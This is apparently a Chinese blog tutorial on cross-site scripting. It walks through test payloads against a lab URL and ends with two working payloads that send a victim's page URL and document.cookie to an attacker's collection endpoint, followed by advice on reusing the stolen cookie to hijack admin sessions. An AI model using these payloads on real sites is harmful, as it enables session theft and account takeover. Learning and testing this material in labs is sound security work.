XSS攻击(1), 测试XSS漏洞, 获取cookie

XSS漏洞, 测试XSS漏洞, 获取cookie

一, 概念:

XSS(Cross-Site Scripting), 跨站攻击脚本, XSS漏洞发生在前端, 依赖于浏览器的解析引擎, 让前端执行攻击代码. XSS其实也算注入类的攻击, XSS代码注入需要有JavaScript编程基础.

二, 目的:

XSS(跨站脚本)攻击的目的多种多样,攻击者可以利用这种漏洞实施各种恶意行为。以下是一些常见的XSS攻击目的:

  1. 窃取Cookie:许多攻击者使用XSS来窃取用户的cookies,尤其是session cookies。一旦攻击者获得了这些cookies,他们可能能够伪造用户身份,接管用户的会话,访问账户或执行未授权的操作。

  2. 账户劫持:与上一点相关,一旦窃取了用户的认证信息,攻击者可以接管用户账户。这可能涉及改变账户设置、进行欺诈性交易或获取敏感信息。

  3. 传播恶意软件:攻击者可以使用XSS漏洞在用户的浏览器中执行脚本,导致受害者下载和安装恶意软件或勒索软件。

  4. 钓鱼攻击:通过XSS,攻击者可以修改网页内容,创建伪造的登录窗口或其他交互式元素,诱使用户提供敏感信息,如用户名、密码或信用卡详情。

  5. 网站内容篡改:攻击者可以修改受害者看到的网站内容,包括插入虚假信息、广告或其他恶意内容。

  6. 网络钓鱼和点击劫持:攻击者可以使用XSS注入脚本,强制用户在背景中执行不可见的操作,如点击广告或链接,从而为攻击者带来经济利益。

  7. 利用用户的身份执行操作:如果受害者具有某些特权,例如网站管理员,攻击者可能会利用XSS漏洞,使用受害者的权限对网站进行未授权的修改。

  8. 收集敏感信息:除了cookies外,攻击者还可以利用XSS窃取存储在浏览器中的其他数据,如localStorage中的数据或Web应用中的敏感信息。

  9. DDoS攻击:通过XSS,攻击者可以迫使受害者的浏览器成为分布式拒绝服务(DDoS)攻击的一部分,对目标网站进行攻击。

  10. 绕过访问控制:在某些情况下,攻击者可能使用XSS来绕过前端的安全检查或限制。

三, 测试XSS漏洞

原理:

XSS的原理就是开发者没有对输入内容进行过滤, 导致通过攻击者精心构造的前端代码, 输入后和原来的前端代码产生混淆, 形成新的页面语句, 并且新的页面代码能够被浏览器解析并输出.

步骤:
    1. 页面既有输入的地方, 也有输出的地方, 比如留言板, 论坛发帖等等.
    1. 在文本输入的地方使用<JavaScript>, <img>, <button>等标签嵌入代码并提交, 例如:
html 复制代码
2023年前三季度我国货物贸易进出口总值30.8万亿元,同比微降0.2%;其中,9月当月,进出口3.74万亿元,
规模创年内单月新高。
<button onclick=alert(document.cookie)>显示cookie</button>
国新办当天举行的新闻发布会上表示,面对复杂严峻的外部环境和国内多重困难挑战,
我国货物贸易进出口平稳运行、积极向好。
    1. 查看提交后显示帖子的页面, 如果alert能够弹出消息, 说明存在XSS漏洞.
能够运行js的一些位置:
py 复制代码
url: http://192.168.112.200/security/testxss.php?content=1
1. <script></script> 标签
html 复制代码
content=<script>alert(1)</script>
content=<script>alert('hello word')</script>
content=<script>alert(/hello word/)</script>

注意:

在url提交参数时, 加号 '+' 会被表示为空格.

如果想使用加号本身, 需要url编码, 加号的url编码是 '%2B' 或 '%2b' .

js 复制代码
<script>var res=0;for (var i=0;i<=100;i%2B%2B){res%2B=i;} alert(res);</script>
2. onclick, onerror, onload, onfocus, onblur, onchange, onmouseover 等事件
html 复制代码
content=<button onclick=alert(1)>快来点我</button>
content=<img src="https://www.baidu.com/result.png" onclick="alert(1)">
content=<img src="https://www.baidu.com/result.png" onmouseover="alert(1)">
content=<script>function test(){alert("hello world");}</script><button onclick=test()>点我测试</button>

网页源码:

html 复制代码
<input name=keyword value="">

上面代码是一个输入框, 在输入框的位置输入payload, 用双引号对value做闭合, 后面写事件与需要执行的js代码.

payload:

py 复制代码
" οnclick="alert(1)

提交后的网页源码:

html 复制代码
<input name=keyword value="" onclick="alert(1)">
3. 超链接的 href 属性, 或类似属性.
html 复制代码
content=<a href="javascript:alert(1)">快来点我</a>

将当前用户访问的url和cookie发送到攻击者的远程服务器接口.

后续通过burpsuit等工具篡改cookie即可伪装用户越权访问, 尤其是管理员账户.

案例:
  1. 利用js代码动态生成一个图片对象, 通过src属性将url和cookie发送到攻击者准备好的远程服务器上.
    当用户访问页面时, 会自动发送这个GET请求.

%2b表示+, 用于拼接字符串

%26表示&, 用于表示get参数之间的间隔符

py 复制代码
接口: http://192.168.112.200/security/getxssinfo.php
方法: GET
参数: url, cookie

payload:

html 复制代码
这周,一家人工智能初创公司的募资额快追上这个数。
<script>
    new Image().src = "http://192.168.112.200/security/getxssinfo.php?
    url="%2blocation.href%2b"%26cookie="%2b document.cookie;
</script>
为了确保自己在最前沿的模型上做人工智能研究,这样才能做出媲美 GPT-4 的大模型。
  1. 如果目标服务器不能执行 <script> 标签, 也可以通过 <a> 标签与 <img> 标签来实现.
    当用户点击图片链接后, 发送url与cookie给攻击者的远程服务器接口.

payload:

html 复制代码
这周,一家人工智能初创公司的募资额快追上这个数。
<a href=\'javascript:location.href="http://192.168.112.200/security/getxssinfo.php?
url="%2blocation.href%2b"%26cookie="%2b document.cookie\'>
    <img src="https://mbdp01.bdstatic.com/static/landing-pc/img/logo_top.79fdb8c2.png"/>
</a>
为了确保自己在最前沿的模型上做人工智能研究,这样才能做出媲美 GPT-4 的大模型。
相关推荐
zach3 小时前
前端落地实战:Next.js 项目 Nginx + PM2 生产部署全流程(附踩坑总结)
前端·pm2·next.js
overmind3 小时前
oeasy教h5前端001 修改的乐趣_直接修改在线网页
前端
只睡四小时3 小时前
JS 手写 D-pad 空间导航:电视端焦点引擎实战
android·开发语言·前端·javascript·ecmascript·hls·空间导航
恋猫de小郭3 小时前
Android 原生的 Compose A2UI 也来了,你还抱着 XML 养老吗?
android·前端·flutter
庄园特聘拆椅狂魔3 小时前
从连连看到粒子消散——前端小游戏与视觉特效的技术选型
前端
JudithHuang3 小时前
React 常用 Hooks
前端·react.js·前端框架
sycmancia4 小时前
Qml——Window元素使用
前端
每天都好困4 小时前
03 AR 投影与误差修正:把地图上的点贴到视频画面上
前端
每天都好困4 小时前
04 地图图层封装:像管理 Photoshop 图层一样管理地图元素
前端
去伪存真5 小时前
构建你的第一个 DevOps AI Agent:自动化捕获、分析并修复 CI 故障
前端·agent